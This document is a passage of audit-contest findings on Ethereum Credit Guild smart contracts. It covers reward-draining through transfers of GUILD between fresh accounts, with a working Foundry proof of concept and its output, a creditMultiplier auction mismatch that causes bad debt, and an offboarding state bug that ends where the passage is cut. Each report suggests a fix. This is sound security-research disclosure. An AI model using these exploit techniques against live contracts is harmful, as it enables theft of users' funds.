Ethereum Credit Guild - 0xStalin's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409-L436

Vulnerability details

Impact

• All the GaugeRewards for all the gauges can be stolen by a single user.
• A side effect of this vulnerability is that the ProfitManager will have fewer CreditTokens in its balance than the expected amount, as a consequence of this, the internal account will be messed up and can potentially lead to breaking Terms causing them no to be able to realize bad debts because there are not enough CreditTokens in the contract to be burnt when bad debt occurs.

Proof of Concept

There are two parts of the codebase to understand how the exploit is possible, the first one is in the ProfitManager::claimGaugeRewards() function, and the second one is when incrementing the gauge weight in the GUILD Token. Let's analyze the first one.

• This vulnerability is present in the ProfitManager::claimGaugeRewards() function, the problem is that the function reads the current userGaugeWeight, but it doesn't consider by how much time the user has been providing weight to the gauge. That means, if rewards have been generated based on the total gauge weight provided by multiple users, any GUILD holder can increase his gaugeWeight on the gauge that generated rewards and call the claimGaugeRewards to claim the equivalent rewards for the amount of weight that just increased in the gauge, the problem is, this user was not providing weight to the gauge when the rewards were generated.
• The current logic to prevent users from claiming rewards multiple times is by setting the value of the variable userGaugeProfitIndex[user][gauge] to equal than the gaugeProfitIndex[gauge] variable, and each time the claimGaugeRewards is called, the delta between those two variables is computed, and if there is any difference, that difference (delta) alongside the userGaugeWeight are used to compute the rewards that the user can claim, the reason is that the gaugeProfitIndex[gauge] is increased each time new rewards are generated for the gauge.

Now, let's analyze the second part of the exploit when incrementing weight in a gauge the users call the incrementGauge() function, which internally will attempt to claimGaugeRewards from the profitManager, and then it will proceed to update all the variables related to weight.

• If a user has 0 weight on the gauge where the weight is being incremented, the ProfitManager::claimGaugeRewards() function will practically not do anything, it will just return a 0 and the execution will proceed to update the storage to reflect how much weight was added.

  • After the weight is increased in the gauge, the user will proceed to call the ProfitManager::claimGaugeRewards(), and this time the user's weight will be != 0, thus, the function will proceed to compute how many rewards the userGaugeWeight claim from the GaugeRewards and will send them to the user.

• Now, putting the two parts explained above we have that, accounts that have never had weight and have not claimed gauge rewards will have the userGaugeProfitIndex[user][gauge] set to 0, which will allow new accounts as soon as they add some weight to the gauge, to claim rewards that the gauge generated in the past.

• This vulnerability is exploited by transferring the GUILD balance from one account to another account, incrementing the gauge weight with the received balance claiming the gauge rewards that the balance can claim, and repeating this process with new accounts until all the GaugeRewards have been drained.

• Let's do a codewalkthrough before getting to the coded PoC.

ProfitManager.sol

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    //@audit-info => Reads the user's weight put in the specified gauge!
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );

    //@audit-info => If the user has not put GUILD tokens in the specified gauge it can't claim!
    //@audit-issue => Note how the function only returns 0 when the userGaugeWeight is 0, but it doesn't update anything, this is exactly the reason for the exploit!!!
    if (_userGaugeWeight == 0) {
        return 0;
    }

    //@audit-info => Prevent users from claiming multiple times rewards if no new rewards have been generated!
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];

    //@audit-info => For users who have never claimed rewards, this is 0
    //@audit-info => For users who have already claimed rewards, this is the value of the last gaugeProfitIndex
    uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
    if (_gaugeProfitIndex == 0) {
        _gaugeProfitIndex = 1e18;
    }
    if (_userGaugeProfitIndex == 0) {
        _userGaugeProfitIndex = 1e18;
    }
    //@audit-info => If a user has claimed rewards and no new rewards have been generated, deltaIndex will be 0!
    uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
    if (deltaIndex != 0) {
        //@audit-ok => The _gaugeProfitIndex indicates how many rewards can be claimed per each userGaugeWeight!
        //@audit-ok => The bigger the userGaugeWeight, the bigger the rewards to claim!
        creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
        //@audit-info => Sets userGaugeProfitIndex to be gaugeProfitIndex, in this way, it prevents the same user from claiming multiple times the rewards from the gauge if no rewards have been generated!
        userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
    }
    //@audit-ok => If the user has earned rewards, send them from this contract to the user's account!
    if (creditEarned != 0) {
        emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
        CreditToken(credit).transfer(user, creditEarned);
    }
}

GuildToken.sol

function _incrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    ...
    ...
    ...

    //@audit-info => Before updating the storage related to the user and gauge weights, the incrementGaugeWeight() will call the ProfitManager::claimGaugeRewards()
    //@audit-issue => For accounts that have 0 weight in the gauge, the claimGaugeRewards() will only return 0, and the incrementGaugeWeight() will proceed to increment the user weight on the gauge
    //@audit-issue => After the user has incremented his gaugeWeight, it will proceed to call the ProfitManager::claimGaugeRewards(), this time, the user has weight in the gauge, and the value of the `userGaugeProfitIndex[user][gauge]` is 0, thus, the delta between `gaugeProfitIndex[gauge]` - `userGaugeProfitIndex[user][gauge]` will allow the user to claim rewards that were generated before the user added weight to the gauge!
    ProfitManager(profitManager).claimGaugeRewards(user, gauge);

    super._incrementGaugeWeight(user, gauge, weight);
}

Coded PoC

Let's proceed to run a PoC to demonstrate this exploit. The exploit demonstrates how a single user by transferring his GUILD tokens among different accounts can continuously claim GaugeRewards that were generated before the user added weight to the gauge.

• Yes, this vulnerability is fully exploited when transfers are enabled, nevertheless, the transfers are paused at the deployment of the protocol to allow the protocol to generate a good buffer of earnings, so, in the future, when the protocol goes to phase 2 approaching to their decentralized vision, the transfers will be enabled, as a consequence, the exploit will open the doors to malicious users to steal all the GaugeRewards from all the gauges.

ProfitManager.t.sol

...
...
...

//@audit-info => Let's import the console2.sol package
import "@test/forge-std/src/console2.sol";

contract ProfitManagerUnitTest is Test {
    ...
    ...
    ...

    //@audit-info => Let's add the below function to the test file ProfitManager.t.sol
    function testClaimGaugeRewardsMultipleTimesPoC() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        // setup
        // 50-50 profit split between GUILD & CREDIT
        // 150 CREDIT circulating (100 rebasing on test contract, 50 non rebasing on alice)
        // 550 GUILD, 500 voting in gauges :
        //   - 50 on gauge1 (alice)
        //   - 250 on gauge2 (50 alice, 200 bob)
        //   - 200 on gauge3 (200 bob)
        credit.mint(alice, 50e18);
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        guild.setMaxGauges(3);
        guild.addGauge(1, gauge1);
        guild.addGauge(1, gauge2);
        guild.addGauge(1, gauge3);
        guild.mint(alice, 150e18);
        guild.mint(bob, 400e18);
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        guild.incrementGauge(gauge2, 50e18);
        vm.stopPrank();
        vm.startPrank(bob);
        guild.incrementGauge(gauge2, 200e18);
        guild.incrementGauge(gauge3, 200e18);
        vm.stopPrank();

        // simulate 20 profit on gauge1
        // 10 goes to alice (guild voting)
        // 10 goes to test (rebasing credit)
        credit.mint(address(profitManager), 20e18);
        profitManager.notifyPnL(gauge1, 20e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        assertEq(profitManager.claimRewards(alice), 10e18);
        assertEq(profitManager.claimRewards(bob), 0);
        assertEq(credit.balanceOf(address(this)), 110e18);
    
        // simulate 50 profit on gauge2
        // 5 goes to alice (guild voting)
        // 20 goes to bob (guild voting)
        // 25 goes to test (rebasing credit)
        credit.mint(address(profitManager), 50e18);
        profitManager.notifyPnL(gauge2, 50e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        assertEq(profitManager.claimRewards(alice), 5e18);
        assertEq(profitManager.claimRewards(bob), 20e18);
        assertEq(credit.balanceOf(address(this)), 135e18);

        // check the balances are as expected
        assertEq(credit.balanceOf(alice), 50e18 + 15e18);
        assertEq(credit.balanceOf(bob), 20e18);
        assertEq(credit.totalSupply(), 220e18);

        // simulate 100 profit on gauge2 + 100 profit on gauge3
        // 10 goes to alice (10 guild voting on gauge2)
        // 90 goes to bob (40 guild voting on gauge2 + 50 guild voting on gauge3)
        // 100 goes to test (50+50 for rebasing credit)
        credit.mint(address(profitManager), 100e18);
        profitManager.notifyPnL(gauge2, 100e18);
        credit.mint(address(profitManager), 100e18);
        profitManager.notifyPnL(gauge3, 100e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        //assertEq(profitManager.claimRewards(alice), 10e18);
        vm.prank(alice);
        guild.incrementGauge(gauge2, 50e18); // should claim her 10 pending rewards in gauge2
        assertEq(profitManager.claimRewards(bob), 90e18);
        assertEq(credit.balanceOf(address(this)), 235e18);

        // check the balances are as expected
        assertEq(credit.balanceOf(alice), 50e18 + 15e18 + 10e18);
        assertEq(credit.balanceOf(bob), 20e18 + 90e18);
        assertEq(credit.totalSupply(), 220e18 + 200e18);


        // gauge2 votes are now 100 alice, 200 bob
        // simulate 300 profit on gauge2
        // 50 goes to alice (guild voting)
        // 100 goes to bob (guild voting)
        // 150 goes to test (rebasing credit)
        credit.mint(address(profitManager), 300e18);
        profitManager.notifyPnL(gauge2, 300e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        // assertEq(profitManager.claimRewards(alice), 50e18);
        vm.prank(alice);
        guild.decrementGauge(gauge2, 100e18); // should claim her 50 pending rewards in gauge2

        //@audit-info => Enable transfer of GuildTokens
        vm.prank(governor);
        guild.enableTransfer();

        address attacker1 = vm.addr(10);
        //@audit-info => Attacker1 can't claim any rewards before receiving the GUILD balance and increasing the weight on the gauge 
        assertEq(profitManager.claimRewards(attacker1), 0);
        console2.log("Attacker1 CreditToken balance before stealing the GaugeRewards:" , credit.balanceOf(attacker1));
        console2.log("Attacker1 claimable GaugeRewards before performing the exploit:" , profitManager.claimRewards(attacker1));

        vm.prank(alice);
        guild.transfer(attacker1,50e18);

        vm.prank(attacker1);
        guild.incrementGauge(gauge2, 50e18);
        //@audit-info => Once attacker1 has increased his weight on the gauge can proceed to claimRewards that were generated before
        assertGt(profitManager.claimRewards(attacker1), 0);

        address attacker2 = vm.addr(20);
        //@audit-info => Attacker2 can't claim any rewards before receiving the GUILD balance and increasing the weight on the gauge 
        assertEq(profitManager.claimRewards(attacker2), 0);
        console2.log("Attacker2 CreditToken balance before stealing the GaugeRewards:" , credit.balanceOf(attacker2));
        console2.log("Attacker2 claimable GaugeRewards before performing the exploit:" , profitManager.claimRewards(attacker2));

        vm.prank(attacker1);
        guild.transfer(attacker2,50e18);

        vm.prank(attacker2);
        guild.incrementGauge(gauge2, 50e18);
        //@audit-info => Once attacker2 has increased his weight on the gauge can proceed to claimRewards that were generated before
        assertGt(profitManager.claimRewards(attacker2), 0);

        console2.log("Attacker1 CreditToken balance after stealing the GaugeRewards:" , credit.balanceOf(attacker1));
        console2.log("Attacker2 CreditToken balance after stealing the GaugeRewards:" , credit.balanceOf(attacker2));
    }
    ...
    ...
    ...
}

• Now, let's run the PoC with the next command forge test --match-test testClaimGaugeRewardsMultipleTimesPoC -vvv. The expected output should as the one below:

Running 1 test for test/unit/governance/ProfitManager.t.sol:ProfitManagerUnitTest
[PASS] testClaimGaugeRewardsMultipleTimesPoC() (gas: 2367526)
Logs:
  Attacker1 CreditToken balance before stealing the GaugeRewards: 0
  Attacker1 claimable GaugeRewards before performing the exploit: 0
  Attacker2 CreditToken balance before stealing the GaugeRewards: 0
  Attacker2 claimable GaugeRewards before performing the exploit: 0
  Attacker1 CreditToken balance after stealing the GaugeRewards: 40000000000000000000
  Attacker2 CreditToken balance after stealing the GaugeRewards: 40000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.96ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Audit

Recommended Mitigation Steps

• The fix to prevent this issue is to whenever the ProfitManager::claimGaugeRewards() function is called and the userGaugeWeight is 0, make sure to set the userGaugeProfitIndex[user][gauge] to equal to gaugeProfitIndex[gauge], by doing this, the ProfitManager contract is preventing that new accounts can't claim rewards that were accrued before the existing GaugeRewards were generated.
  • By setting the userGaugeProfitIndex[user][gauge] to be equal to gaugeProfitIndex[gauge], after the user has added the weight to the gauge if the user attempts to claim rewards with the just recently added weight, the computed delta in the ProfitManager::claimGaugeRewards() will be 0 because the weight that the user added has not yet earned any GaugeRewards.

ProfitManager.sol

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    //@audit-info => Reads the user's weight put in the specified gauge!
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );

    //@audit-info => If the user has not put GUILD tokens in the specified gauge it can't claim!
    if (_userGaugeWeight == 0) {
        //@audit-recommendation => Set the `userGaugeProfitIndex[user][gauge]` to be equals to `gaugeProfitIndex[gauge]`
        //@audit-recommendation => In this way, the next time the user calls the claimGaugeRewards() function, if the user adds weight to the gauge, it won't be able to claim GaugeRewards that were generated before, it will be able to claim rewards only from the time the weight was added and onwards!
        userGaugeProfitIndex[user][gauge] = gaugeProfitIndex[gauge];
        return 0;
    }
    ...
    ...
    ...
}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/AuctionHouse.sol#L133-L153

Vulnerability details

Impact

• The biggest impact is that the protocol can accrue large chunks of bad debt because of not recomputing the total amount that the bidders need to repay when bidding on an auction.
• It is also possible that the protocol doesn't accrue bad debt if the value of the creditMultiplier didn't change so drastically, but as long as the value of the creditMultiplier changes, a side effect of not recomputing the total amount to be repaid during the auction will be that the interests accrued by the protocol are far less than what they should really be. We'll go through some examples in the Proof of Concept section.

Proof of Concept

• When a loan is called, an auction is started for the loan's collateral. The collateral will be auctioned for the total loan's debt including the accrued interests for the duration of the loan, the total debt + interests is computed in the LendingTerm::getLoanDebt() function, where it reads the total amount that was originally borrowed, computes the accrued interests, charges openFees (if any), and finally it computes the total loanDebt by adding the previous values and normalizing the value using the creditMultiplier, if bad debt was accrued while the loan was active, the value of the ProfitManager::creditMultiplier() will be different than the value of the loan.borrowCreditMultiplier, this will cause that the final value of the loanDebt to be bigger.

LendingTerm.sol

function _call(
    address caller,
    bytes32 loanId,
    address _auctionHouse
) internal {
    ...
    
    // update loan in state
    //@audit-info => Computes the total amount of CreditTokens that represents the total loan's debt + all the accrued interests for the duration of the loan!
    uint256 loanDebt = getLoanDebt(loanId);

    loans[loanId].callTime = block.timestamp;
    
    //@audit-info => The amount of debt the collateral will auction for!
    loans[loanId].callDebt = loanDebt;

    loans[loanId].caller = caller;

    //@audit-info => Initiates the collateral auction for the computed value of loanDebt!
    // auction the loan collateral
    AuctionHouse(_auctionHouse).startAuction(loanId, loanDebt);

    ...
}

function getLoanDebt(bytes32 loanId) public view returns (uint256) {
    ...
    
    //@audit-info => Computes the total amount of debt that will be repaid, including interests for the duration of the loan and opening fees (if any)
    // compute interest owed
    uint256 borrowAmount = loan.borrowAmount;
    uint256 interest = (borrowAmount *
        params.interestRate *
        (block.timestamp - borrowTime)) /
        YEAR /
        1e18;
    uint256 loanDebt = borrowAmount + interest;
    uint256 _openingFee = params.openingFee;
    if (_openingFee != 0) {
        loanDebt += (borrowAmount * _openingFee) / 1e18;
    }

    //@audit-info => The final value is normalized to match the current value of the creditMultiplier. If bad debt was accrued while the loan was open, the current creditMultiplier will be different than the loan.borrowCreditMultiplier, which will cause the final value of the loanDebt to be bigger to compensate for that difference!

    uint256 creditMultiplier = ProfitManager(refs.profitManager)
        .creditMultiplier();
    loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;

    return loanDebt;
}

AuctionHouse.sol

function startAuction(bytes32 loanId, uint256 callDebt) external {
    ...

    // save auction in state
    auctions[loanId] = Auction({
        startTime: block.timestamp,
        endTime: 0,
        lendingTerm: msg.sender,
        //@audit-info => The total collateral that will be auctioned
        collateralAmount: loan.collateralAmount,
        //@audit-info => The value of the `loanDebt` variable that was computed in the LendingTerm::getLoanDebt() function, which is the loan's debt + interests normalized based on the value of the creditMultiplier
        callDebt: callDebt
    });

    ...
}

• So, at this point, a new auction was initiated for the collateral's loan in exchange for repaying the loan's owed debt (including interests!). Now, let's analyze what happens when a bidder bids in an auction.

• When a bidder wants to bid in an auction needs to call the AuctionHouse::bid() function, this function will call the AuctionHouse::getBidDetail() function to determine the amount of collateral that the bidder can receive and the amount of the debt that needs to be repaid. These 2 values are computed using a Dutch auction consisting of 2 phases, during the first phase, the bidder must pay all the auction.callDebt for a % of the loan's collateral (which will be slowly incrementing as time passes), and during the second phase, the bidder can receive all the loan's collateral in exchange for repaying a % of the auction.callDebt (which will be slowly decreasing as time passes).

  • The key here is to emphasize that the amount the bidder needs to repay is the same that it was computed when the auction was initiated, it is not recomputed using the current value of the creditMultiplier, will see in a second why this is a problem.

• So, with the returned values from the getBidDetail(), the bid() process to call the LendingTerm::onBid() function and forwards the amount of collateral the borrower will receive back (if any), the amount of collateral the bidder will get, and the total amount of debt the bidder will repay. Now, in the LendingTerm::onBid(), the function computes the value of the principal, which is determined by the total loan.borrowAmount (the original loan's debt, without interests), and then it normalizes this value using the current value of the creditMultiplier. Then the value of the principal is compared against the value of the creditFromBidder variable, which is the exact same value as the auction.callDebt that was forwarded from the AuctionHouse::bid(). If the creditFromBidder >= principal, the auction will accrue interests from that loan because the bidder is repaying the full principal + the interests of the debt, but if the creditFromBidder is not enough to cover the principal, the auction will generate bad debt for the protocol.

  • Here is the problem, the value of the principal is computed based on the current value of the creditMultiplier, whilst the auction.callDebt was not recomputed, auction.callDebt was forwarded exactly as how it was calculated when the auction was initiated. The problem is that if the value of the creditMultiplier changes between the time when the auction was initiated, and when someone actually bids in the auction, this will cause the principal is computed using a different ratio than the ratio that was used when the auction.callDebt was computed.
    • This difference, depending on how much the creditMultiplier changed, can cause either the accrued interest to be less than what it should be, or even worse, it could cause the protocol generate bad debt when it should not.

• Before doing a code walkthrough, let's see an example with a number about how this problem plays out.

• Let's suppose that there is a loan for 1000gUSDC that is called, the total debt with interests is computed, and is determined that the total debt with interests is 1020 gUSDC (loan.borrowAmount + interests), so, the loan's collateral is auctioned and the auction.callDebt is set to be 1020gUSDC. While this auction is active, other auctions generated bad debt and caused the creditMultiplier changes by /2, now, when someone finally bids on our auction, when the principal is computed in the LendingTerm::onBid() function, the principal will be worth 2000gUSDC(without interests), why? Because the loan.borrowAmount of this loan is 1000gUSDC, if creditMultiplier goes /2, the computed principal will be double. (As an example, loan.borrowCreditMultiplier is 1, and then the bad debt is generated that causes the credMultiplier to go to 0.5, so, when the principal is computed when someone bids on the auction we'll have: [(1,000 * 1) / 0.5] = 2,000).

  • Let's suppose that the bid happens during phase 1, that means the bidder is willing to repay the full auction.callDebt for a portion of the collateral.
    • So, we have that the value of the auction.callDebt was computed as 1020gUSDC (loan.borrowAmount + interests), and this value if forwarded to the LendingTerm::onBid() function, which will be used as the value of the creditFromBidder. And, when the principal is computed in this function, we'll have that the principal is computed as 2,000gUSDC (loan.borrowAmount without including interests). This will cause the function consider that this auction is generating bad debt because the creditFromBidder is not enough to cover the principal, even though the bidder is willing to repay the full debt.
      • So, as a consequence of this bug, the protocol will accrue bad debt, and the bidder will end up paying less than the total loan's debt and will receive the expected amount of collateral.
  • The worst thing is that once this happens once it will affect all the rest of the active auctions because each time an auction is closed and generates bad debt, it will end up updating the value of the creditMultiplier, which slowly but surely it will go down and down, widening the ratios that were used to compute the values of the auction.callDebt from all the active auctions, and the actual ratio that will be used to compute the value of the principal when these auctions are bid.

• Let's analyze the code to spot where this issue happens.

AuctionHouse.sol

function bid(bytes32 loanId) external {
    //@audit-info => computes the collateral the bidder will receive and the amount of CreditTokens it needs to repay for that collateral!
    // this view function will revert if the auction is not started,
    // or if the auction is already ended.
    //@audit-issue => See the comments in the below function, in short, the creditAsked is not recomputed using the current ratio, if `creditMultiplier` changed while the auction was active, such a change is not taken into account, and the creditAsked is just taken as how it was computed when the auction was initiated!
    (uint256 collateralReceived, uint256 creditAsked) = getBidDetail(
        loanId
    );
    ...

    // notify LendingTerm of auction result
    address _lendingTerm = auctions[loanId].lendingTerm;
    LendingTerm(_lendingTerm).onBid(
        loanId,
        msg.sender,
        auctions[loanId].collateralAmount - collateralReceived, // collateralToBorrower
        collateralReceived, // collateralToBidder
        //@audit-info => Forwards the value of the amount to be repaid
        //@audit-info => If the bid is during phase1, this value will be the full debt + interests, which is the value stored in the `auction.callDebt`
        //@audit-info => If the bid is during phase2, the debt to be repay will slowly be less than the total debt (`auction.callDebt`) as time passes
        creditAsked // creditFromBidder
    );
    ...
}

function getBidDetail(
    bytes32 loanId
) public view returns (uint256 collateralReceived, uint256 creditAsked) {
    ...

    //@audit-info => As we can see in the below code's snippet, the `creditAsked` is calculated based on the value of the auctions.callDebt
    //@audit-info => The value of auctions.callDebt was computed when the auction was initiated, this value was computed based on the ratio of the `creditMultiplier` at that point in time
    
    //@audit-issue => But here, when someone finally bids on the auction, this value is just taken as it is, it doesn't consider the fact that the `creditMultiplier` could've changed while the auction was active!
    
    //@audit-info => The `creditAsked` variable of this function will be the value of the variable `creditFromBidder` in the LendingTerm::onBid()!
    // first phase of the auction, where more and more collateral is offered
    if (block.timestamp < _startTime + midPoint) {
        // ask for the full debt
        creditAsked = auctions[loanId].callDebt;

        ...
    }
    // second phase of the auction, where less and less CREDIT is asked
    else if (block.timestamp < _startTime + auctionDuration) {
        // receive the full collateral
        collateralReceived = auctions[loanId].collateralAmount;

        // compute amount of CREDIT to ask
        uint256 PHASE_2_DURATION = auctionDuration - midPoint;
        uint256 elapsed = block.timestamp - _startTime - midPoint; // [0, PHASE_2_DURATION[
        uint256 _callDebt = auctions[loanId].callDebt; // SLOAD
        creditAsked = _callDebt - (_callDebt * elapsed) / PHASE_2_DURATION;
    }
    ...
}

LendingTerm.sol

function onBid(
        bytes32 loanId,
        address bidder,
        uint256 collateralToBorrower,
        uint256 collateralToBidder,
        //@audit-info => This value is forwarded from the AuctionHouse::bid(), this is the value of the `creditAsked` variable, which is computed based on the `auction.callDebt` variable!
        uint256 creditFromBidder
    ) external {
        ...

        // compute pnl
        //@audit-info => Reading the current value of the creditMultiplier from the ProfitManager
        uint256 creditMultiplier = ProfitManager(refs.profitManager)
            .creditMultiplier();
        uint256 borrowAmount = loans[loanId].borrowAmount;

        //@audit-issue => The principal is computed based on the ratio of the current value for the `creditMultiplier`, if creditMultiplier changed while this auction was active, the principal will be computed using a different ratio than the ratio thas was used to compute the value of auction.callDebt, which its value is received in this function as `creditFromBidder`
        uint256 principal = (borrowAmount *
            loans[loanId].borrowCreditMultiplier) / creditMultiplier;
        int256 pnl;
        uint256 interest;
        
        //@audit-issue => If the principal is computed with a different ratio than the one that was used to compute the auction.callDebt, the below calculations will either cause the accrued interest is less than what it should really be, or it could even generate bad debt for the protocol when it should not!
        if (creditFromBidder >= principal) {
            interest = creditFromBidder - principal;
            pnl = int256(interest);
        } else {
            pnl = int256(creditFromBidder) - int256(principal);
            principal = creditFromBidder;
            require(
                collateralToBorrower == 0,
                "LendingTerm: invalid collateral movement"
            );
        }

        ...

        //@audit-info => If ratios are different, the actual repay amount will be less than what it should really be, thus, the bidder will repay less for the same amount of collateral!
        // pull credit from bidder
        if (creditFromBidder != 0) {
            CreditToken(refs.creditToken).transferFrom(
                bidder,
                address(this),
                creditFromBidder
            );
        }

        //@audit-info => If ratios are different, the actual amount of repaid amount will be less, thus, burning less principal than what it should really be burnt, the rest of the principal will be repaid as bad debt (if generated!)
        // burn credit principal, replenish buffer
        if (principal != 0) {
            CreditToken(refs.creditToken).burn(principal);
            RateLimitedMinter(refs.creditMinter).replenishBuffer(principal);
        }

        //@audit-info => If ratios are different, the accrued interests can be less than what they should really be, or even worse, the protocol can generate bad debt when it should not!
        // handle profit & losses
        if (pnl != 0) {
            // forward profit, if any
            if (interest != 0) {
                CreditToken(refs.creditToken).transfer(
                    refs.profitManager,
                    interest
                );
            }
            ProfitManager(refs.profitManager).notifyPnL(address(this), pnl);
        }

       ...
    }

Tools Used

Manual Audit

Recommended Mitigation Steps

• The most straightforward mitigation for this issue would be to, always recompute the value of the auction.callDebt using the current value of the creditMultiplier before forwarding the total amount of debt the bidder needs to repay. In this way, in the LendingTerm::onBid(), the received value of the creditFromBidder variable will be in the same ratio as the principal that is computed in that function.

• Modify the LendingTerm::getLoanDebt() function, the idea is to allow this function to return the loanDebt without being normalized using the creditMultiplier when an auction is initiated, and also allow it to return the loanDebt normalized with the current value of the creditMultiplier when a loan is being repaid, add a bool var, if the call is made to initiate an auction, return the value before normalizing it by applying the creditMultiplier, save the loanDebt as it is in the auction.callDebt, and in the getBidDetail(), make sure to normalize the auction.callDebt with the current value of the creditMultiplier, in this way, we can mitigate this issue because the final auction.callDebt is computed with the value of the current creditMultiplier at the exact time when the auction is being bidded

  • Make sure to update accordingly all the functions that call the LendingTerm::getLoanDebt() function, double-check that the correct value of the boolean variable is forwarded.
    • When starting an auction, the bool value shall be true, and when repaying or partially repaying a loan, the bool value shall be false.
      • The key to knowing what should be the value of the bool variable is: If the value of the loanDebt will be used within the same tx (like when repaying a loan), the bool should be false. But if the value of the loanDebt will be used in a different transaction (like when auctioning the collateral of a loan), the bool variable should be true, because if the value of the loanDebt is meant to be used in a separate transaction, the value of the creditMultiplier could change between the moment the loanDebt is computed and when it is finally used!

LendingTerm.sol

+ function getLoanDebt(bytes32 loanId, bool startingAuction) public view returns (uint256) {
    Loan storage loan = loans[loanId];
    uint256 borrowTime = loan.borrowTime;

    if (borrowTime == 0) {
        return 0;
    }

    if (loan.closeTime != 0) {
        return 0;
    }

    if (loan.callTime != 0) {
        return loan.callDebt;
    }

    // compute interest owed
    uint256 borrowAmount = loan.borrowAmount;
    uint256 interest = (borrowAmount *
        params.interestRate *
        (block.timestamp - borrowTime)) /
        YEAR /
        1e18;
    uint256 loanDebt = borrowAmount + interest;
    uint256 _openingFee = params.openingFee;
    if (_openingFee != 0) {
        loanDebt += (borrowAmount * _openingFee) / 1e18;
    }

    //@audit-info => If an auction is being initiated because a loan was called, return the loanDebt before normalizing by using the creditMultiplier
+   if(startingAuction) return loanDebt;

    //@audit-info => If this function is not called to initiate an auction, i.e. when repaying or partially repaying a loan, normalize the loanDebt with the creditMultiplier since this operation will be made in the same tx, the creditMultiplier won't change since the moment is computed in this function and when the computed value is actually used
    uint256 creditMultiplier = ProfitManager(refs.profitManager)
        .creditMultiplier();
    loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;

    return loanDebt;
}

AuctionHouse.sol

    function getBidDetail(
        bytes32 loanId
    ) public view returns (uint256 collateralReceived, uint256 creditAsked) {
        ...

+       uint256 _callDebt = auctions[loanId].callDebt;
+       uint256 creditMultiplier = ProfitManager(refs.profitManager).creditMultiplier();
        //@audit-info => This mitigation might require creating a getter in the LendingTerm contract that allows to pull the value of the loans[loanId].borrowCreditMultiplier!!!
+       _callDebt = (_callDebt * loans[loanId].borrowCreditMultiplier) / creditMultiplier;

        // first phase of the auction, where more and more collateral is offered
        if (block.timestamp < _startTime + midPoint) {
            // ask for the full debt
-           creditAsked = auctions[loanId].callDebt;
            //@audit-info => If in phase1, the creditAsked must be the full callDebt recomputed with the current ratio for the creditMultiplier
+           creditAsked = _callDebt;

            // compute amount of collateral received
            uint256 elapsed = block.timestamp - _startTime; // [0, midPoint[
            uint256 _collateralAmount = auctions[loanId].collateralAmount; // SLOAD
            collateralReceived = (_collateralAmount * elapsed) / midPoint;
        }
        // second phase of the auction, where less and less CREDIT is asked
        else if (block.timestamp < _startTime + auctionDuration) {
            // receive the full collateral
            collateralReceived = auctions[loanId].collateralAmount;

            // compute amount of CREDIT to ask
            uint256 PHASE_2_DURATION = auctionDuration - midPoint;
            uint256 elapsed = block.timestamp - _startTime - midPoint; // [0, PHASE_2_DURATION[
-           uint256 _callDebt = auctions[loanId].callDebt; // SLOAD
            //@audit-info => Use the recomputed value of the callDebt using the current ratio for the creditMultiplier
            creditAsked = _callDebt - (_callDebt * elapsed) / PHASE_2_DURATION;
        }
        ...
    }

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L154-L167 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L176-L197

Vulnerability details

Impact

• If a term is offboarded for any reason, but while the existing loans are closed, if the same term is re-onboarded, the contract state of the LendingTermOffboard contract will allow to offboard and clean up the term again without going through the full process of offboarding (proposing and voting).
• A side effect of this bug is also that the nOffboardingsInProgress will be messed up and the PSM won't be unpaused even though there are no anymore offboardings in process.

Proof of Concept

